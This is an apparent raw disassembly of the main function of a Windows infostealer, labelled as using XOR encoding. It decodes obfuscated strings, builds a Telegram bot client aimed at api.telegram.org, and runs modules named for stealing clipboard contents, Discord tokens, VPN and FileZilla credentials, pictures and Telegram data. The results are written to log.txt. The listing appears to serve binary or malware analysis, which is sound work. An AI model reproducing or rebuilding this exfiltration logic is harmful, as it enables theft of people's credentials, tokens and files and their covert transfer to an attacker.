Function at 0x1400137b0
Capabilities:
Encode data using xor

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x248]
sub rsp, 0x320
movaps xmmword [rax - 0x38], xmm6
movaps xmmword [rax - 0x48], xmm7
mov rax, qword [0x14002d040]
xor rax, rsp
mov qword [rbp + 0x1f0], rax
xor edi, edi
mov dword [rsp + 0x30], edi
lea rcx, [rbp + 0x1c0]
call fcn.140006f30
mov rbx, rax
movsd xmm0, qword [0x140024d08]
movsd qword [rbp + 0x160], xmm0
mov ecx, dword [0x140024d10]
mov dword [rbp + 0x168], ecx
mov r8d, edi
movdqa xmm7, xmmword [0x140025bf0]
mov esi, dword [0x14002d090]
cmp esi, 2
jl 0x14001391e
movdqa xmm3, xmmword [0x140025c10]
movdqa xmm2, xmmword [0x140025bc0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm3
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140025be0]
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x140025c00]
movd xmm0, dword [0x140024d08]
xorps xmm2, xmm0
movd dword [rbp + 0x160], xmm2
movdqa xmm2, xmmword [0x140025bd0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm3
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140025be0]
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x140025c00]
movd xmm0, dword [rbp + 0x164]
xorps xmm2, xmm0
movd dword [rbp + 0x164], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x160]
add r9, rax
nop dword [rax + rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x140013930
xorps xmm0, xmm0
movups xmmword [rbp + 0x180], xmm0
mov qword [rbp + 0x190], rdi
mov qword [rbp + 0x198], rdi
lea rax, [rbp + 0x160]
mov r15, 0xffffffffffffffff
mov r8, r15
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140013990
lea rdx, [rbp + 0x160]
lea rcx, [rbp + 0x180]
call fcn.1400013b0
nop
lea rdx, [rbp + 0x180]
mov rcx, rbx
call fcn.140017080
mov rbx, rax
mov rcx, rax
cmp qword [rax + 0x18], 7
jbe 0x1400139cd
mov rcx, qword [rax]
call fcn.140020ed4
shr rax, 0x20
test eax, eax
jne 0x14001463d
mov rdx, qword [rbp + 0x198]
cmp rdx, 0xf
jbe 0x140013a22
inc rdx
mov rcx, qword [rbp + 0x180]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140013a1d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140013a1d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140021eb4
mov qword [rbp + 0x190], rdi
mov r13d, 0xf
mov qword [rbp + 0x198], r13
mov byte [rbp + 0x180], 0
mov rdx, qword [rbp + 0x1d8]
cmp rdx, 7
jbe 0x140013a86
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x1c0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140013a81
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140013a81
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140021eb4
mov ecx, 0x80
call fcn.140021c30
mov rbx, rax
mov qword [rsp + 0x50], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x1a0], xmm0
mov qword [rbp + 0x1b0], rdi
mov qword [rbp + 0x1b8], rdi
mov ecx, 0x20
call fcn.140021c30
mov qword [rbp + 0x1a0], rax
mov qword [rbp + 0x1b0], 0x18
mov qword [rbp + 0x1b8], 0x1f
movups xmm0, xmmword [str.https:__api.telegram.org]
movups xmmword [rax], xmm0
movsd xmm0, qword [0x140025a08]
movsd qword [rax + 0x10], xmm0
mov byte [rax + 0x18], 0
mov dword [rsp + 0x30], 1
call qword [sym.imp.TgBot.dll_private:_static_class_TgBot::HttpClient____ptr64___cdecl_TgBot::Bot::_getDefaultHttpClient_void_]
mov r14, rax
movups xmm0, xmmword [0x140024ff8]
movups xmmword [rbp + 0x1c0], xmm0
movups xmm1, xmmword [0x140025008]
movups xmmword [rbp + 0x1d0], xmm1
movsd xmm0, qword [str.ozn__r_____]
movsd qword [rbp + 0x1e0], xmm0
mov ecx, dword [0x140025020]
mov dword [rbp + 0x1e8], ecx
movzx eax, word [0x140025024]
mov word [rbp + 0x1ec], ax
movzx eax, byte [0x140025026]
mov byte [rbp + 0x1ee], al
mov r8d, edi
cmp esi, 2
jl 0x140013c87
movdqa xmm5, xmmword [0x140025bc0]
movdqa xmm4, xmmword [0x140025c10]
movdqa xmm6, xmmword [0x140025be0]
movdqa xmm0, xmmword [0x140025c00]
movdqa xmmword [rbp + 0x160], xmm0
lea rcx, [rbp + 0x1c0]
mov edx, dword [rbp + 0x160]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x140013ba0
cmp r8d, 0x2f
jge 0x140013cd0
movsxd rax, r8d
lea r9, [rbp + 0x1c0]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2f
jl 0x140013ca0
xorps xmm0, xmm0
movups xmmword [rbp + 0x180], xmm0
mov qword [rbp + 0x190], rdi
mov qword [rbp + 0x198], rdi
lea rax, [rbp + 0x1c0]
mov r8, r15
inc r8
cmp byte [rax + r8], 0
jne 0x140013cf2
lea rdx, [rbp + 0x1c0]
lea rcx, [rbp + 0x180]
call fcn.1400013b0
lea r9, [rbp + 0x1a0]
mov r8, r14
lea rdx, [rbp + 0x180]
mov rcx, rbx
call qword [sym.imp.TgBot.dll_public:_void___cdecl_TgBot::Bot::constructor_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char____class_TgBot::HttpClient_const____ptr64__class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const____ptr64____ptr64]
nop
mov rdx, qword [rbp + 0x1b8]
cmp rdx, 0xf
jbe 0x140013d6e
inc rdx
mov rcx, qword [rbp + 0x1a0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140013d69
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140013d69
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140021eb4
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x38], xmm0
mov qword [rsp + 0x48], rdi
lea rax, [0x140025160]
mov qword [rsp + 0x60], rax
lea rcx, [rbp - 0x18]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::constructor_void____ptr64]
nop
mov dword [rsp + 0x30], 0x20
xor r9d, r9d
xor r8d, r8d
lea rdx, [rsp + 0x68]
lea rcx, [rsp + 0x60]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char______ptr64__bool____ptr64]
nop
mov rax, qword [rsp + 0x60]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ostringstream_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov qword [rsp + rcx + 0x60], rax
mov rax, qword [rsp + 0x60]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x88]
mov dword [rsp + rcx + 0x5c], edx
lea rcx, [rsp + 0x68]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::constructor_void____ptr64]
lea rax, vtable.std::basic_stringbuf_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov qword [rsp + 0x68], rax
mov qword [rbp - 0x30], rdi
mov dword [rbp - 0x28], 4
mov ecx, 8
call fcn.140021c30
mov qword [rbp + 0x160], rax
lea rcx, vtable.InfoModule.0
mov qword [rax], rcx
mov qword [rsp + 0x30], rax
lea r8, [rsp + 0x30]
xor edx, edx
lea rcx, [rsp + 0x38]
call fcn.140018ef0
mov ecx, 8
call fcn.140021c30
mov qword [rbp + 0x160], rax
lea rcx, vtable.ClipboardModule.0
mov qword [rax], rcx
mov qword [rsp + 0x30], rax
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
cmp rbx, rsi
je 0x140013e6a
mov qword [rbx], rax
add rbx, 8
mov qword [rsp + 0x40], rbx
jmp 0x140013e86
lea r8, [rsp + 0x30]
mov rdx, rbx
lea rcx, [rsp + 0x38]
call fcn.140018ef0
mov rsi, qword [rsp + 0x48]
mov rbx, qword [rsp + 0x40]
mov ecx, 0x10
call fcn.140021c30
mov qword [rbp + 0x160], rax
xorps xmm0, xmm0
movups xmmword [rax], xmm0
lea rcx, vtable.DiscordTokenModule.0
mov qword [rax], rcx
mov dword [rax + 8], edi
mov qword [rsp + 0x30], rax
cmp rbx, rsi
je 0x140013ec2
mov qword [rbx], rax
add rbx, 8
mov qword [rsp + 0x40], rbx
jmp 0x140013ede
lea r8, [rsp + 0x30]
mov rdx, rbx
lea rcx, [rsp + 0x38]
call fcn.140018ef0
mov rsi, qword [rsp + 0x48]
mov rbx, qword [rsp + 0x40]
mov ecx, 0x10
call fcn.140021c30
mov qword [rbp + 0x160], rax
xorps xmm0, xmm0
movups xmmword [rax], xmm0
lea rcx, vtable.VPNModule.0
mov qword [rax], rcx
mov dword [rax + 8], edi
mov qword [rsp + 0x30], rax
cmp rbx, rsi
je 0x140013f1a
mov qword [rbx], rax
add rbx, 8
mov qword [rsp + 0x40], rbx
jmp 0x140013f36
lea r8, [rsp + 0x30]
mov rdx, rbx
lea rcx, [rsp + 0x38]
call fcn.140018ef0
mov rsi, qword [rsp + 0x48]
mov rbx, qword [rsp + 0x40]
mov ecx, 0x10
call fcn.140021c30
mov qword [rbp + 0x160], rax
xorps xmm0, xmm0
movups xmmword [rax], xmm0
lea rcx, vtable.PicturesModule.0
mov qword [rax], rcx
mov word [rax + 8], 0
mov qword [rsp + 0x30], rax
cmp rbx, rsi
je 0x140013f75
mov qword [rbx], rax
add rbx, 8
mov qword [rsp + 0x40], rbx
jmp 0x140013f91
lea r8, [rsp + 0x30]
mov rdx, rbx
lea rcx, [rsp + 0x38]
call fcn.140018ef0
mov rsi, qword [rsp + 0x48]
mov rbx, qword [rsp + 0x40]
mov ecx, 0x10
call fcn.140021c30
mov qword [rbp + 0x160], rax
xorps xmm0, xmm0
movups xmmword [rax], xmm0
lea rcx, vtable.FilezillaModule.0
mov qword [rax], rcx
mov dword [rax + 8], edi
mov qword [rsp + 0x30], rax
cmp rbx, rsi
je 0x140013fcd
mov qword [rbx], rax
add rbx, 8
mov qword [rsp + 0x40], rbx
jmp 0x140013fe9
lea r8, [rsp + 0x30]
mov rdx, rbx
lea rcx, [rsp + 0x38]
call fcn.140018ef0
mov rsi, qword [rsp + 0x48]
mov rbx, qword [rsp + 0x40]
mov ecx, 0x10
call fcn.140021c30
mov qword [rbp + 0x160], rax
xorps xmm0, xmm0
movups xmmword [rax], xmm0
lea rcx, vtable.TelegramModule.0
mov qword [rax], rcx
mov byte [rax + 8], 0
mov qword [rsp + 0x30], rax
cmp rbx, rsi
je 0x140014026
mov qword [rbx], rax
add rbx, 8
mov qword [rsp + 0x40], rbx
jmp 0x140014042
lea r8, [rsp + 0x30]
mov rdx, rbx
lea rcx, [rsp + 0x38]
call fcn.140018ef0
mov rsi, qword [rsp + 0x48]
mov rbx, qword [rsp + 0x40]
mov r12, qword [rsp + 0x38]
mov r14, r12
cmp r12, rbx
je 0x140014071
nop
mov rcx, qword [r14]
mov rax, qword [rcx]
lea rdx, [rsp + 0x60]
call qword [rax]
lea rcx, [rsp + 0x60]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::flush_void____ptr64]
add r14, 8
cmp r14, rbx
jne 0x140014050
lea rcx, [rbp + 0x1c0]
call fcn.140006f30
mov rbx, rax
movsd xmm0, qword [0x140024d08]
movsd qword [rbp + 0x160], xmm0
mov ecx, dword [0x140024d10]
mov dword [rbp + 0x168], ecx
mov r8d, edi
cmp dword [0x14002d090], 2
jl 0x140014196
movdqa xmm4, xmmword [0x140025c10]
movdqa xmm3, xmmword [0x140025bc0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140025be0]
psubd xmm3, xmm0
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
mov eax, dword [0x140025c00]
movd xmm0, eax
paddb xmm3, xmm0
movd xmm0, dword [0x140024d08]
xorps xmm3, xmm0
movd dword [rbp + 0x160], xmm3
movdqa xmm2, xmmword [0x140025bd0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140025be0]
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x164]
xorps xmm2, xmm1
movd dword [rbp + 0x164], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x160]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x1400141b0
xorps xmm0, xmm0
movups xmmword [rbp + 0x1a0], xmm0
mov qword [rbp + 0x1b0], rdi
mov qword [rbp + 0x1b8], rdi
lea rax, [rbp + 0x160]
nop
inc r15
cmp byte [rax + r15], 0
jne 0x140014200
mov r8, r15
lea rdx, [rbp + 0x160]
lea rcx, [rbp + 0x1a0]
call fcn.1400013b0
nop
lea rdx, [rbp + 0x1a0]
mov rcx, rbx
call fcn.140017080
mov rbx, rax
lea rax, str.log.txt
mov qword [rbp + 0x160], rax
mov qword [rbp + 0x168], 7
call fcn.1400209d0
movaps xmm0, xmmword [rbp + 0x160]
movdqa xmmword [rbp + 0x160], xmm0
lea r8, [rbp + 0x160]
mov edx, eax
lea rcx, [rbp + 0x180]
call fcn.140004e40
nop
lea rdx, [rbp + 0x180]
mov rcx, rbx
call fcn.1400050d0
mov rbx, rax
mov rdx, qword [rbp + 0x198]
cmp rdx, 7
jbe 0x1400142d1
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x180]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400142cc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400142cc
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140021eb4
mov qword [rbp + 0x190], rdi
mov qword [rbp + 0x198], 7
mov word [rbp + 0x180], di
cmp qword [rbx + 0x18], 7
jbe 0x1400142f4
mov rbx, qword [rbx]
mov rdx, rbx
lea rcx, [rbp + 0x50]
call fcn.1400183f0
mov rax, qword [rbp + 0x50]
movsxd rcx, dword [rax + 4]
lea rbx, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x50], rbx
mov rax, qword [rbp + 0x50]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x4c], edx
mov rdx, qword [rbp + 0x1b8]
cmp rdx, 0xf
jbe 0x14001436a
inc rdx
mov rcx, qword [rbp + 0x1a0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140014365
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140014365
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140021eb4
mov qword [rbp + 0x1b0], rdi
mov qword [rbp + 0x1b8], r13
mov byte [rbp + 0x1a0], 0
mov rdx, qword [rbp + 0x1d8]
cmp rdx, 7
jbe 0x1400143c8
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x1c0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400143c3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400143c3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140021eb4
mov qword [rbp + 0x1d0], rdi
mov qword [rbp + 0x1d8], 7
mov word [rbp + 0x1c0], di
xorps xmm0, xmm0
movups xmmword [rbp + 0x180], xmm0
mov qword [rbp + 0x190], rdi
mov qword [rbp + 0x198], r13
mov byte [rbp + 0x180], 0
mov dword [rsp + 0x30], 0x36
movups xmmword [rbp + 0x160], xmm0
mov ecx, dword [rbp - 0x28]
mov eax, ecx
and al, 0x22
cmp al, 2
je 0x14001443b
mov rax, qword [rbp - 0x58]
mov r8, qword [rax]
test r8, r8
je 0x14001443b
mov rax, qword [rbp - 0x78]
mov rdx, qword [rax]
cmp r8, qword [rbp - 0x30]
cmovb r8, qword [rbp - 0x30]
sub r8, rdx
jmp 0x140014470
test cl, 4
jne 0x140014462
mov rax, qword [rbp - 0x60]
mov rcx, qword [rax]
test rcx, rcx
je 0x140014462
mov rax, qword [rbp - 0x80]
mov rdx, qword [rax]
mov rax, qword [rbp - 0x48]
movsxd r8, dword [rax]
sub r8, rdx
add r8, rcx
jmp 0x140014470
mov r8, qword [rbp + 0x168]
mov rdx, qword [rbp + 0x160]
test rdx, rdx
je 0x14001448f
lea rcx, [rbp + 0x180]
call fcn.140016840
mov r13, qword [rbp + 0x198]
mov rdi, qword [rbp + 0x190]
lea rdx, [rbp + 0x180]
cmp r13, 0xf
cmova rdx, qword [rbp + 0x180]
mov r8, rdi
lea rcx, [rbp + 0x50]
call fcn.140018800
lea rdx, [0x140016dc0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rdx, qword [rbp + 0x198]
cmp rdx, 0xf
jbe 0x140014503
inc rdx
mov rcx, qword [rbp + 0x180]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400144fe
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400144fe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140021eb4
lea rcx, [rbp + 0x50]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::flush_void____ptr64]
lea rcx, [rbp + 0x58]
call fcn.140016590
test rax, rax
jne 0x140014539
mov rax, qword [rbp + 0x50]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x50]
add rcx, rax
xor r8d, r8d
mov edx, 2
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
nop
mov rax, qword [rbp + 0x50]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0x50], rbx
mov rax, qword [rbp + 0x50]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x4c], edx
lea rcx, [rbp + 0x58]
call fcn.140015490
lea rcx, [rbp + 0x60]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0xf8]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
mov rax, qword [rsp + 0x60]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ostringstream_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov qword [rsp + rcx + 0x60], rax
mov rax, qword [rsp + 0x60]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x88]
mov dword [rsp + rcx + 0x5c], edx
lea rcx, [rsp + 0x68]
call fcn.140015b50
lea rcx, [rsp + 0x70]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp - 0x18]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
test r12, r12
je 0x140014601
sub rsi, r12
and rsi, 0xfffffffffffffff8
mov rax, r12
cmp rsi, 0x1000
jb 0x1400145f6
add rsi, 0x27
mov r12, qword [r12 - 8]
sub rax, r12
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400145f6
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rdx, rsi
mov rcx, r12
call fcn.140021eb4
xor eax, eax
mov rcx, qword [rbp + 0x1f0]
xor rcx, rsp
call fcn.140021970
lea r11, [rsp + 0x320]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
mov r8, rbx
mov edx, eax
lea rcx, str.create_directory
call fcn.140006230
int3